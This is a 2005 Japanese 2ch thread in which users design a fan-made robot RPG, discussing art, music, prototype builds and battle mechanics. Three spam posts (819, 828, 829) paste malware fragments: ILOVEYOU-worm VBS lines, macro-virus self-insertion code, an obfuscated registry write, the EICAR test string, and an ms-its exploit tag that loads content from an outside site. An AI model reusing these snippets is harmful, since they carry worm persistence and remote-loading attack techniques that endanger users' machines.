みんなでオリジナルのロボットRPGを作ろう!4
レス数が900を超えています。1000を超えると表示できなくなるよ。
0001名前は開発中のものです。
2005/08/16(火) 16:05:49ID:SwaiGd2H初代スレ
http://game9.2ch.net/test/read.cgi/gamerpg/1107090964/
2代目スレ
http://game10.2ch.net/test/read.cgi/game/1108379171/
3代目スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1112843375/
・sage進行
・制作はRPGツクールXP
・現在の状況などはまとめサイトや前スレを参照のこと
・基本的なスタンスは「来るもの拒まず」
まとめサイト(画像うpろだ、外部掲示板あり)
旧 http://robotrpg.kt.fc2.com/
新 http://www.geocities.jp/robotrpg2ch/
ログ保管庫
http://www.h6.dion.ne.jp/%7Eohuro/robo/top.htm
0812名前は開発中のものです。
2005/12/02(金) 20:07:28ID:V/JvSL+w0813名前は開発中のものです。
2005/12/02(金) 21:11:31ID:odK/FnW3そんな世界観になった訳?
萎えた
0814名前は開発中のものです。
2005/12/02(金) 22:04:31ID:CsgO1t7A0815名前は開発中のものです。
2005/12/02(金) 23:28:50ID:4A1Ag+nS0816名前は開発中のものです。
2005/12/02(金) 23:47:51ID:odK/FnW3なぜ突然オリキャラを出してしまったのだろう
0817名前は開発中のものです。
2005/12/03(土) 00:17:20ID:6DNPQ9/q随分唐突だけど。何故此処に。
0818311古
2005/12/03(土) 00:27:10ID:k8UePouAどうにも髭なきゃ童顔な気がしてきた…
渋いのがお好みならば描きなおしまつ
0819名前は開発中のものです。
2005/12/03(土) 00:32:55ID:OU/RUzlmc.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
0820名前は開発中のものです。
2005/12/03(土) 00:33:31ID:OU/RUzlm0821いつかの190
2005/12/03(土) 01:54:55ID:jtv/1+xc成る程、了解しました。そのイメージで作ってみます。
ついでに私なりのジャンクを描いてみたり。
http://up.php-s.net/up.php?id=tabiji&time=1133540510&ext=.jpg
えーと…ギャベイジ?
0822717
2005/12/03(土) 02:27:59ID:0cT00EiRうまーーーーーーーーー!
怖ーーーーーーーーーー!
GJ!!!!
コレですよコレ。イメージとぴったしだ!
こんな感じでお願いしまつ(・∀・)
>>797
JUN氏のピアノ曲(穏やか?)てのが抜けてるようですが。ボツですか?
0823名前は開発中のものです。
2005/12/03(土) 02:33:54ID:0cT00EiRGJ!
個人的には、ざんばらの髪で頬に傷の一つでもあったほうが好き
でもこれはこれで良いなあ。若くて。
0824zk ◆PPcELrLkWg
2005/12/03(土) 08:47:48ID:pe+9nS5w>>821超GJ!
午後にグロくなったビーストうpします
0825zk ◆PPcELrLkWg
2005/12/03(土) 13:21:09ID:HXs/I9mwttp://up.php-s.net/up.php?id=tabiji&time=1133583628&ext=.JPG
0826名前は開発中のものです。
2005/12/03(土) 13:26:38ID:FPv6draX0827名前は開発中のものです。
2005/12/03(土) 13:28:34ID:cGYtpkPw0828名前は開発中のものです。
2005/12/03(土) 13:45:01ID:OU/RUzlmc.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
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kak.hta';ken=wd+'START?
0829名前は開発中のものです。
2005/12/03(土) 13:45:52ID:OU/RUzlmc.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
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0830名前は開発中のものです。
2005/12/03(土) 18:34:52ID:JGYu0pro0831名前は開発中のものです。
2005/12/03(土) 20:16:06ID:4IG8Sm44おまけ
ttp://up.php-s.net/up.php?id=tabiji&time=1133608351&ext=.png
0832JUN ◆ylCNb/NVSE
2005/12/03(土) 21:29:46ID:W3Ho4QMgGJ!!グロかわいい!
この位のグロさなら、躊躇無くやっつけられそうですね。
>>831
おおおおお
GJ!!!!
次はジラルダの曲を考えようかな
>>804
なるほど
キャラのテーマを使い回すというのは賛成です
>曲調がモロ被りです
確かにorz
どれかボツりますかね。
>>807
GJ!!
なかなか良い感じです
元の曲が良いと尚良いんですけどね...修行します
他の曲についてもお願いできますか?
>>822
よ く 気 づ き ま し た ね
そういえばそんなのあったなあ...「寂しげ」ですね。全然寂しくないけど。
どうもです
主題歌、そろそろ出来そうな気配
乞うご期待
0833名前は開発中のものです。
2005/12/04(日) 15:11:35ID:C0jOe2+e>>807ですがMIDI化は時間が取れれば協力できます。
MIDIのシーケンサー持っているwin機の人なら誰でもできると思いますけど…。
0834名前は開発中のものです。
2005/12/04(日) 20:59:55ID:xGCYQVF70835名前は開発中のものです。
2005/12/04(日) 21:49:08ID:rjA8CY0Y放置シェルのジャンクはただのパーツの集まりだけだと、都合良すぎる部分があるから、
肉付きがあったらいいと思う。シェルもいくつかのタイプにわけて
タイプAなら犬型。Bなら人型など。
とか案だしている自分もよくイメージが浮かばな
いからよろしければ絵師さんに描いていただきたい。
0836名前は開発中のものです。
2005/12/04(日) 22:27:56ID:hnmeBRn/こええ...
08378 ◆jS1vbFJDVk
2005/12/05(月) 00:30:21ID:8zfmhgOC>>807
乙!ではプロトタイプに実装しておきます。
>>818
あんちゃんGJです!十分渋いかと。
ふと思ったこと 男ロボ乗り=ゴーグル
>>821
とんでもないほどにGJ。腕パーツが足になってたりしてそれっぽい。
これはちょっと修正すれば敵グラで使えるかも…怖すぎる?
>>825
おおう、これもこれでグロカワイイ。GJ!
>>831
イラストに忠実でGJ!では左だけ切り取ってキャラグラで使います。
シアは…どうしよう。どうしようもないかも。
>>832
主題歌ワクワクワクワク
>>835-836
肉というよりはカキの殻みたいな物体がはみ出てるとか。
シェルの原料である貝の本能とかなんとかで。貝殻が。
0838名前は開発中のものです。
2005/12/05(月) 00:47:11ID:nr8LgweJ> タイプAなら犬型。Bなら人型など。
たぶんこれ、「骨組み」の間違いでないかと...
シェル毎に、おおまかなロボの形が決まってるってことでは?
0839名前は開発中のものです。
2005/12/05(月) 01:56:30ID:f2arO34Aめちゃ迷ってます……
あっちもやっぱり頑張らなきゃという気がしてまして。。
意味分かんなかったらゴメンナサイ
08408 ◆jS1vbFJDVk
2005/12/06(火) 03:22:19ID:xst47yL3それはともかく、b更新。敵が前進してくるように。
ttp://emps.rash.jp/up/src/up0038.zip
いつかの190さん、イラスト使わせていただきました。
>>838
肉じゃなくて骨組みですね、失礼しました。
要するに、同じような骨格のジャンクからは
同形等のシェルを入手できるということですね。
>>839
了解しました。というわけで>>792は
いったんボツということにしましょう。
0841イッポウシ ◆quM58wnvXA
2005/12/07(水) 01:25:49ID:iC4KoCeg思ったほど注文通りにはならないような気がしてきました。
もしそうなったらごめんなさい。
流れが速くて忘れられそうなので、一応。
0842名前は開発中のものです。
2005/12/07(水) 09:50:48ID:F1McX5CK0843名前は開発中のものです。
2005/12/07(水) 21:29:30ID:iG8Tz3Zy0844名前は開発中のものです。
2005/12/07(水) 21:45:02ID:xJShtvmI今の期待の品
・主題歌
・イッポウシ氏の新曲
・とにかくなにかの絵
08458 ◆jS1vbFJDVk
2005/12/08(木) 00:16:25ID:uBIwZwuqいえ、こちらも難しい注文をしたと思ってます。スマソ
>>844
ゲームそのものには期待できませんか…そうですか…
皆さんの意見ください。
プロトタイプですが、今のようなペースでちょこちょこ更新するのと
もっと形ができてから大幅更新するのとどっちが好ましいでしょうか。
0847名前は開発中のものです。
2005/12/08(木) 06:54:07ID:frEf6YZ6ただの構ってちゃんだったんだな
0848名前は開発中のものです。
2005/12/08(木) 17:54:14ID:XwYLtx+w今のやり方だと慢性的にダレる
08498 ◆jS1vbFJDVk
2005/12/09(金) 00:39:36ID:c0uZvfF7ただ、どっちの意見が多くても
今年いっぱいはプロトタイプの更新はできない予感。
どうみても年末です。本当にありがとうございました。
0850ちょっと通りますよ
2005/12/09(金) 03:56:12ID:yHgLrri5結局は、切らさないようにこまめに更新して行くのがいいと思うけどね。
その方が更新材料も出てき易いんじゃないの、と部外者の意見
0851名前は開発中のものです。
2005/12/09(金) 07:44:38ID:aiJAwNwN0852名前は開発中のものです。
2005/12/09(金) 23:30:03ID:j3bkwjQr春に大幅更新があることを期待
8氏GANNGARE
08538 ◆jS1vbFJDVk
2005/12/09(金) 23:57:57ID:2Om/9UTR来年も今までのような小幅更新でいきますが、
謹賀新年1発目はできるだけ大幅に更新したいと思っています。
そういえば、来年1月30日でロボスレ1周年ですね。
0854zk ◆PPcELrLkWg
2005/12/10(土) 11:52:59ID:wCTF7HHX0855名前は開発中のものです。
2005/12/11(日) 00:37:44ID:f2vB0zgd仲間ってバトルではどういう位置づけになるわけ?
コマンド入力で、主人公ロボと共闘するの?オートで戦うの?それとも直接戦闘には参加しなくて、サポート的存在?
08568 ◆jS1vbFJDVk
2005/12/11(日) 01:45:59ID:Mm2GUo8/規制乙。
>>855
過去の意見投票の結果などを参考にして、現状では
戦闘時にロボを駆りオートで戦う仲間(アルウィンなど)と
直接戦闘せずサポートに徹する仲間(親友やレーネなど)の
2タイプに分けようと考えてます。
よし、オート仲間も実装してみよう。バランス調整が鬼になるけど…
08578 ◆jS1vbFJDVk
2005/12/11(日) 01:57:43ID:Mm2GUo8/と自分ツッコミして今日は寝ます。
バトルに関して、これから実装して欲しい要素など
あげてみてください。遊ぶときに分かりやすく、
なおかつ実装しやすそうなものは採用されるかも。来年。
0858名前は開発中のものです。
2005/12/11(日) 02:04:42ID:ohNVp0t4居てもいなくても一緒だが、居ると情況が好転、助けを求めることしばしばみたいな
0859名前は開発中のものです。
2005/12/11(日) 17:17:33ID:Q4zG07uJというか、本人が白状してるんだからマジだろうけど。
グラフィック+スクリプトの強力な戦力を逃したのは痛いけど
そのうち協力してくれたりするんかな?
>>857
直感的な理解のしやすさは欲しい
ゲ製の戦闘はすごいんだけど分かりにくい感じがするし
・・・て、全然案になってないな。スマソ
0860名前は開発中のものです。
2005/12/11(日) 21:36:07ID:h3s2oIdf0861名前は開発中のものです。
2005/12/11(日) 21:43:18ID:DMeEv89r0862名前は開発中のものです。
2005/12/11(日) 22:00:04ID:6lcVyEyUとりあえず、「直感的に理解し易い戦闘」 ってどういうものだろうか。直感的なシステム?直感的な数値変動?直感的なインターフェース?
なんでゲ制の戦闘は解りづらいんだろうか?
識者の意見キボンヌ
0863名前は開発中のものです。
2005/12/12(月) 00:08:10ID:8lrefverごちゃごちゃしたものを付け加えるから解りにくいんじゃなかろうか
シンプルにしろとは言わないが、贅肉のついたシステムは不要だな
やはり必要なものにしぼって、なおかつ魅力を出すのが
製作者の力量ということでしょう
あと視覚的に解りやすいことも大事かな
無駄は省き、味付けだけを加える
難しいことだけど、期待してるよ
0864いつかの190
2005/12/12(月) 00:16:15ID:wHqqQJ0Oついでにウィンドウスキン何か入れてみたり…
http://emps.rash.jp/up/src/up0039.zip
半壊ロボからいきなりスクラップになるのは違和感があったのでとりあえず若干のポーズ変えと
彩度下げをしてみたんですが、うーん…とりあえず仮ということで。
ウィンドウスキンの方は本当に作ってみただけという感じ。こういうセンスが求められるのは私には…げふげふ。
更に何となくANNAさんイメージ絵。
http://up.php-s.net/up.php?id=tabiji&time=1134313470&ext=.jpg
って良く見たら21歳とは。ちょっと幼くなりすぎた…かなぁ。
0865名前は開発中のものです。
2005/12/12(月) 00:25:48ID:2TqJOsAQアンナさんお嬢様ぽくて良いです好みです(;´Д`)
ところでそろそろNANAも廃れてきた事だし、ANNAにきちんとした名前をやらないか。
>>862
前にやったツクールのRPGでは、戦闘のコマンドが
剣撃
降魔陣
秘技
絶技
呪具
必殺技
完全必殺技
とかなっててorz
とりあえず、コマンド名は単純明快にしたほうがよいと思われ
08668 ◆jS1vbFJDVk
2005/12/12(月) 01:43:45ID:2H3Mlgogせめてネタや素材の大掃除だけでもすませておきたい8です。
>>858
通信のやりとりは遊び要素入れやすいですし、
一緒に戦う感じも出せるので、実装したいですね。
>>859
マジ。以前チャットでご一緒しました。
もし協力してくれるならこの上なく心強いのですが、
企画もあるので今は無理かと。
>>862-863
直感的な要素を「考える」ということが何よりも難しい。
しかも、ロボットものは情報量が多くなりがちなのでさらに大変。
改造は大前提として、あとはどんな要素を入れて、切り捨てて…
>>864
GJです!おおう、半壊ロボはボロボロの質感出てますね。
ANNAもこれまでのロボスレにない感じのキャラでグッド。
半壊ドット、一度実装してみます。それが年内最後更新ってことで。
>>865
直感的にわかりにくいw
ろぼだまで単純明快コマンドというと、こんな感じでしょうか。
移動(逃走含む)
攻撃(格闘)
銃
防御
アイテム
チャージ
連携(仲間実装するならあるかも)
0867名前は開発中のものです。
2005/12/12(月) 02:10:35ID:1nGLS/xz左右キー……左右武器、メニュー切り替え
A……………決定
B……………キャンセル
なら、基本操作は直感的に理解出来るかな?
リアルタイム要素だけショートカットで実行する感じで。
0868zk ◆PPcELrLkWg
2005/12/12(月) 07:16:51ID:F40LLptu移動
右腕武器(装備なしの場合はつかむ等の特殊コマンド)
左腕武器(同上)
防御
アイテム
チャージ
仲間に指示
でいいんじゃないかと思うんだゲロ。
あ、武器(銃)で殴打もアリか。
0869名前は開発中のものです。
2005/12/12(月) 08:27:47ID:PXakaiAZこれって成長(改造)システムとも関わってくると思うんだけど
どういうシステムになってるわけ?
あと移動は確定?
0870名前は開発中のものです。
2005/12/12(月) 14:09:08ID:4zx6oX5u鉄機みたいにF1〜4を順に押して連射とかできたらキムチいいね
0871名前は開発中のものです。
2005/12/12(月) 20:21:17ID:tcqU4YM3って、単純だけど爽快感を生む重要な要素だよな
0872ドリームリーダー763
2005/12/12(月) 20:58:37ID:sr9gTKxjttp://kor-kobo.web.infoseek.co.jp/URA_UHEEI/GUNDAM/GAN_003.jpg
つまりこういうことか。
08738 ◆jS1vbFJDVk
2005/12/13(火) 01:20:29ID:KjSiNAA8ttp://emps.rash.jp/up/src/up0040.zip
>>867
763さんのバトルイメージもそうでしたし、基本操作は
リアルタイムのほうが断然わかりやすいでしょうね。
というわけで、次回からは操作系を大幅変更してみようと思います。
>>868,869
成長システムはまだ白紙状態なので、戦闘の仕様とともに
どんな成長システムになるかが決まります。俺の中では
「成長は左右一緒、装備の違いで個性を持たせる」つもりです。
>>870-872
ボタン一つで発射できるランチャー、いいですね。
極限まで鍛えた武装を一つ装備しておいて、ここぞというとき
「ええい、このスイッチだ!」で勝利とか。ロボといえば秘密兵器!
さて、年内はまとめサイトの整理整頓で終わる予感。
余った時間は実装にまわしますが、うpは来年のお楽しみ。
0874名前は開発中のものです。
2005/12/13(火) 01:44:37ID:xMEmOCfY0875名前は開発中のものです。
2005/12/13(火) 02:04:46ID:Ugh+rBiU0876名前は開発中のものです。
2005/12/14(水) 22:55:37ID:Plu9o81x詳しく。
08778 ◆jS1vbFJDVk
2005/12/15(木) 00:24:43ID:6klBtc9Tそう?
>>876
要するに、「右腕だけステータスを上昇させる」といった
改造はできませんということです。>左右一緒
力を上げれば左右どちらのパンチも強くなります。
左右の腕それぞれにステータスを設定してしまうと
腕関係を作る手間が単純に2倍になりますし、
実際に遊ぶときにもわずらわしく感じると思います。
代わりに、左右それぞれの腕に武器装備欄を複数用意すれば
武器の組み合わせだけでも十分に個性は出せるんじゃないかなと。
例
右1:手持ち武器
右2:腕の固定武装
右3:肩の固定武装
0878名前は開発中のものです。
2005/12/15(木) 01:40:07ID:lZ1lY8ID0879ドリームリーダー763
2005/12/15(木) 14:46:59ID:YXXZlTaK装甲 機動性 出力 ドライブゲージ
の四つくらいで
装甲を上げると機動性がいくらか下がるみたいな感じが良いと思う
0880ドリームリーダー763
2005/12/15(木) 15:05:34ID:YXXZlTaK更新乙!
何故レーネが二人?
機体搭乗良い感じ。190氏GJ!
でもなんかもっとギュイーンみたいな音無い?
あとロボで歩いてるときの足音もほしいかも。
操作系大幅変更とな、来年が楽しみだ。
あと主人公のパラメータは
射撃 格闘 回避 体力
の四つくらいで
格闘武器を使うと格闘パラメーターが上がるみたいな感じg(ry
0881名前は開発中のものです。
2005/12/15(木) 18:58:33ID:MJvRgZBfおおまかで良いから、しきり氏が戦闘周りでやりたいことのヴィジョンが聞いてみたいものです。
細かい事を抜きにして、戦闘開始〜終了までどんなイメージを持ってるのですか?
0882名前は開発中のものです。
2005/12/15(木) 19:33:14ID:Ze4DxmCIエターナラーは引っ込んでろ。
0883名前は開発中のものです。
2005/12/15(木) 23:28:41ID:TraGGrelロボ降りて戦うんだっけ??
08848 ◆jS1vbFJDVk
2005/12/16(金) 01:45:24ID:bL0NlSan名前も項目数も仮ですが、今のところこんな感じを想定。
体、全身共通
・フレーム強度(LP)
・エンジン(ゲージ最大値、回復量?)
・出力(格闘攻撃力、移動速度)
・装甲(HP、防御)
・バランサー(転びやすさ、クリティカル率)
・トランク(アイテム装備数)
・シート(中の人の防御力)
・軽量化(素早さup、防御down)
腕
・指先(装備適正)
・武器、シールド
足
・靴底(移動適正)
ろぼだま
・ステータス上昇
・スキル習得
・ピンチ時発動能力習得
08858 ◆jS1vbFJDVk
2005/12/16(金) 02:10:42ID:bL0NlSan銃(格闘系の武器は改造不可能)
・威力
・命中精度
・弾数
中の人
・心(格闘、回避、防御)
・技(命中、射撃、移動)
・体(強い攻撃などで減少、0でゲームオーバー)
>>880
うはwレーネのドット差し替え前後でどう変化したか
見比べるために並べたまま圧縮しちまったw
足音は並列処理でうまくいったらってことで。要努力。
>>881
基本的にバン!バン!ガツーン!!と爽快感重視、
でも地形やボスの弱点、思考を把握しないと
めちゃ苦戦するよってくらいなバランスが理想。
あとは…銃や弾丸は必殺の武器だけど、序盤はコスト高。無駄撃ち厳禁。
>>883
生身では戦わないけれど、成長要素の一つってことで。
0886名前は開発中のものです。
2005/12/16(金) 16:02:56ID:+dXFi0gU主な武器は拳や剣、棒、斧、ドリルなどの白兵武器
重火器は遠距離からの牽制用(銃など)とトドメの一撃(ミサイルなど)
って感じか。
ザコ相手の時は近づく→殴る!→近づく→殴る!の繰り返し中心
ちょい強い相手の時は一機づつ撃破、引き寄せてまとめて撃破、均等にダメージを与えてミサイルで全滅
ボス相手の時はヒットアンドアウェイや間合いの読み合い
という遊びが出来ると想像。
こんな感じだったら、(1)自機と敵の位置関係、敵の残りライフや射程がひとめで解るマップ表示(2)ストレスを感じない移動(3)派手な攻撃エフェクト(効果音等)が重要になると思われ。
特にコックピット視点で(1)(2)を実現するのが難しそうだな
距離システムはどんな感じになる予定?
碁盤目の上を自由に移動する感じ?タテ軸のみの移動?アクションゲームみたいに、マップ内を自由に移動?
個人的にはタテ軸のみの移動にするのが面白いと思うのですが。
碁盤目だと、方向や武器の射程等、画面内の情報が多くなりすぎるように思う。
(>>881じゃないが色々妄想してみた。みんな妄想しようぜ!)
0887名前は開発中のものです。
2005/12/16(金) 20:58:59ID:SaBux/5z08888 ◆jS1vbFJDVk
2005/12/17(土) 00:53:03ID:Up5VdgLsそうですね、イメージは>>886のような感じ。
表示関係はごちゃごちゃすると自分でもどう修正したらいいか
迷ってしまいそうなので、極力シンプルを目指します。
移動方向に関しては縦軸のみのつもり。
0889ドリームリーダー763
2005/12/17(土) 01:29:32ID:A4dh2UkH>>883
ほらスパロボとかでもパイロットのパラメーターあんじゃん
それと場つなぎ
http://up.php-s.net/up.php?id=tabiji&time=1134749902&ext=.png
炎天将軍ツォフォルト・ラスコーの機体キングゴレーム
帝国主力機を改造したみたいな
詳しくは公式のキャラ紹介を
0890名前は開発中のものです。
2005/12/17(土) 01:33:03ID:x6RxmPHCロボとの相性や特性なんかとの関係で
装備とかが限られてしまう気がする
ロボ自体を自由にするならパイロットのステは廃止すべきかと
0891妄想
2005/12/17(土) 01:33:05ID:4F+1M2sxロケット砲:本体5000G、追尾支援装置が付いてないのでミサイルが使えない。
ミサイル砲:本体20000G、ロケット弾は一発800Gだけど距離があるとミスりやすい、
追撃ミサイル弾は一発2000Gと高値だけど中距離ぐらいなら妨害が無い限りほぼ100%あたる。
ブレード:本体10000G、巨大な刃を持つため製造費が高いが耐久度無限、マシンの性能で威力が変化。
体術システム:敵を転ばせる技やブレードを有効に使う技を習得できる。
08928 ◆jS1vbFJDVk
2005/12/17(土) 02:21:56ID:T7A6l3Kcいや、戦闘デモの存在は大きいですよ。矢印キー移動は
デモで触れない限り俺の中では発想すらできませんでしたから。
次回更新で、操作系統がデモに少しでも近づいたら俺としては成功です。
そしてキングゴレー…ゴレームじゃオーバーマンですがな。
キングゴーレムドットGJ。フォルムや色が俺好み。背中は全部弾倉でしょうか。
…なんか某0083のザメルに似ている…
>>890
パイロット能力はまだ不確定ですね。俺の中でも。
あったらいい人もいるだろうし、邪魔だと思う人もいる。
できればスレの議論を参考にしたいのですが、どうか。
ちなみに俺個人の意見を言わせてもらうと、
「遊び方の幅を広げると思うから、できれば実装したい」。
ただ、ステータス実装の優先度は下の中くらいです。
>>891
高っ!…でも店で買うとそのくらい高価なほうがいいかな?
序盤はジャンク品の銃を修理して、サビ弾を1発1発磨いて使ったり。
個人で戦闘用ロボ所有するのはよほどの酔狂、という世界なので
序盤は「貧乏臭い」運用になればいいかなと思ってます。
ホーミングミサイルってめちゃくちゃ現代的ですけど、あり?なし?
0893名前は開発中のものです。
2005/12/17(土) 03:01:56ID:/EAX4+14スラム街の子供達に「鉄クズ」を渡すと、磨いて「サビ弾」に加工してくれる。最初の町付近では、サビ弾を主力として戦う事になる。
町を出るとき、子供達に挨拶すると「鉄クズのエンブレム(記念品)」をもらえる。
とか妄想した
中の人のステータスは不要に一票。
改造したロボのステータスが変動するような要素は、面倒くさいだけだと思う。
ただ、武器の熟練度とか、特別なスキルとかは有っても良いかも。
>>889
GJ!
漢らしいロボでつね
0894名前は開発中のものです。
2005/12/17(土) 14:47:03ID:+8dseHJjロボは彼らのレベルで武器に制限がつくとかは?
必要技巧値の低い装備は普通に装備できて
黄信号な装備は熟練度次第で青信号に持っていけて
扱いに難しい装備はどう足掻いてもまともに動かない。
このやり方のメリットがあって
最初のほうの街でも最強クラスのパーツが置けること。
0895zk ◆PPcELrLkWg
2005/12/17(土) 17:00:33ID:slO2We3E08968 ◆jS1vbFJDVk
2005/12/18(日) 00:58:53ID:cDgpb6qwいいですね、スラムの少年たちと戯れる主人公。
記念品集めもなかなかよいアイデアだと思います。
自室にどんどん記念品が増えていったりとか。
>>894
なるほど。もし序盤に運良く強い銃器を入手できても、
メカニックレベルが低いと装備できないってことですね。
銃器に強い整備士を仲間に入れれば装備可能になる、とか。
「装備できない」ではなく、「整備できない」でもいいかも。
序盤の強い武器は使いきり感覚、中盤頃に整備して復活させたり。
>>895
了解です。その間にネタ練り込んでもらえると助かります。
0897名前は開発中のものです。
2005/12/18(日) 01:43:12ID:jgFR+cUu最近のRPGは成長させる時に考える事大杉(´・ω・`)
案
武器等のパーツには「耐久値」が設定されている。
戦闘中、使えば使うほど耐久値が減っていき、0になると壊れてしまう。
壊れた武器は整備する事によって、再び使う事が出来る。
一方、友人には「整備Lv」が設定されている。
トレーラーや町の整備場でパーツを整備する際、整備Lvが低いと(1)耐久値の回復量が低い(2)整備料金が高い(3)最大耐久値が下がる
等の弊害がある。
整備の回数をこなす、もしくはアイテムによって整備Lvを上げる事が出来る。
0898ささい
2005/12/18(日) 01:45:58ID:EEiTi/K0マップチップうpしてみました。
http://up.php-s.net/?id=tabiji
ちょっと雰囲気に合わないかな?
0899名前は開発中のものです。
2005/12/18(日) 01:56:20ID:rFC8hAOR>>897
ちょwwwそれDIABLOwww
いまさらだけど旅路、ほんと良い曲よな。
0900名前は開発中のものです。
2005/12/18(日) 02:07:17ID:W87ddiMa考えるほうはいかにもロボっぽくて面白そうと思ってしまうが、
プレイする方からしたら鬱陶しいだけでは?
フロントミッションとか面白いですが、
アレは敵にもちゃんとパラがあって胴体狙いで一撃とか、腕狙いで攻撃不可とか
できるから面白いのであって。そうでなければ嫌がらせでしかない。
やるとしてもリロードタイムと装弾数を制限、弾自体は無限、くらいでいい気がする
0901名前は開発中のものです。
2005/12/18(日) 11:54:33ID:E3h+ymjR弾切れ>金払って補充 、 パーツ破損>金払って整備 とか。
レベルアップのための雑魚倒しの時に、毎回使えるだけ強力な武器を使える、ってのは面白くないと思った。
もったいないからミサイル類は迂闊に使えない→安価な攻撃で敵の倒し方を工夫する(移動・ドライブを駆使するとか)というのが面白そうに感じるんだけど、どうか。
一歩間違えると、弾切れの度に町に戻って補充、っていう面倒くさいシステムになりそうだけど。
0902名前は開発中のものです。
2005/12/18(日) 11:55:44ID:E3h+ymjR0903名前は開発中のものです。
2005/12/18(日) 16:11:39ID:NtXyvgB109048 ◆jS1vbFJDVk
2005/12/19(月) 01:08:25ID:0je6MTP/なるべくパラメータ項目減らすよう努力します。
遊ぶ方の負担になるし、作る方も大変だし。
耐久値なんかの概念ももう少し練る必要がありますね。
>>898
おお、サンクス。遠慮なく使わせていただきます。
キャリアー内部とか格納庫にぴったりかも。
>>900,902
言う通り、パーツ破壊は邪魔な要素かも。
壊れて修理しての繰り返しは確かにリアルだけど、
プレイヤーからすれば「ロボで爽快に戦いたいだけなのに…」と
ストレスをためるだけになってしまうと。負の連鎖。
そういうことなら、パーツ別HPや部位破壊は廃止してもよさそう。
09058 ◆jS1vbFJDVk
2005/12/19(月) 01:50:39ID:G3xHGK7T>>900,901,903
俺としては、「銃は弾を消費するもの」という概念に
嘘をつきたくないんですね。強力な武器の使用制限ってことで。
>>901にある
>一歩間違えると、弾切れの度に町に戻って補充
というのも、
・あらかじめ改造して搭載弾数を増やす(基本)
・何らかの手段を講じて弾薬や物資を届けてもらう(気球とか飛脚とか)
・親友や仲間と落ち合える補給場所をダンジョン内に設ける(セーブポイント?)
・弾薬を消費しなくても勝てる戦法を編み出す(>>901と同じ意見)
・裏技(バグ技ともいう)
などで、いくらでも回避できると思います。
というわけで俺は弾薬消費制に1票。
ほかの意見もまだまだ待ってます。
0906名前は開発中のものです。
2005/12/19(月) 03:37:58ID:cklEXsFP0907名前は開発中のものです。
2005/12/19(月) 19:20:21ID:cv7gtbPF1)ポイント制 / 移動と攻撃、アイテム使用の際、行動ポイントを消費する。1ターンに定められた行動ポイント分だけ行動可能。
2)基本は移動1回、攻撃1回 / 毎ターン 移動→攻撃 を繰り返す。特殊な装備やレベルアップ等で、連続攻撃が可能になったりする。
3)アクション式 / ドリームリーダー氏が作ってる奴みたいな、リアルタイムアクション戦闘
あとなんか案ある?
0908名前は開発中のものです。
2005/12/19(月) 20:29:12ID:j9E4GIrK武器をバリバリ連射してるように見えて、
スキルで(連射時の)消費弾数が減らせるとか。。。
0909名前は開発中のものです。
2005/12/19(月) 21:45:43ID:cv7gtbPFシステム構築について意見を聞きたいもんだ
>>905
自分も8氏に同意だけど、
>>弾薬を消費しなくても勝てる戦法を編み出す
こういう自由のある戦闘システムを作るのがとても大変だと思う。
0910名前は開発中のものです。
2005/12/20(火) 00:06:31ID:lk3a4u1E移動は自動で、適切な距離に移動できたかを攻撃時に判定する。
09118 ◆jS1vbFJDVk
2005/12/20(火) 00:32:37ID:15d8/Iqmダンジョン奥にベンダー設置したりして。なんかシュールですが
それもあり、と思わせる世界でもいいですね。
>>907,910
大きい分け方だとその4つくらいになりますかね。
俺としては763さん式の操作にドライブゲージを追加して
それでいってみようかと構想してますが、難しい…
自動移動という考え方も、それはそれでおもしろそう。
>>908
それいいですね。連射効率UP。
>>909
そういえば587さん最近見かけませんね。
587さんに限った話じゃありませんが。師走。
戦闘の自由度はやっぱり大事にしたいんですが、どうかな。
皆さんのサポートなしにはバランス調整はできないと思うので、
腰を据えたおつきあいをお願いします。
レス数が900を超えています。1000を超えると表示できなくなるよ。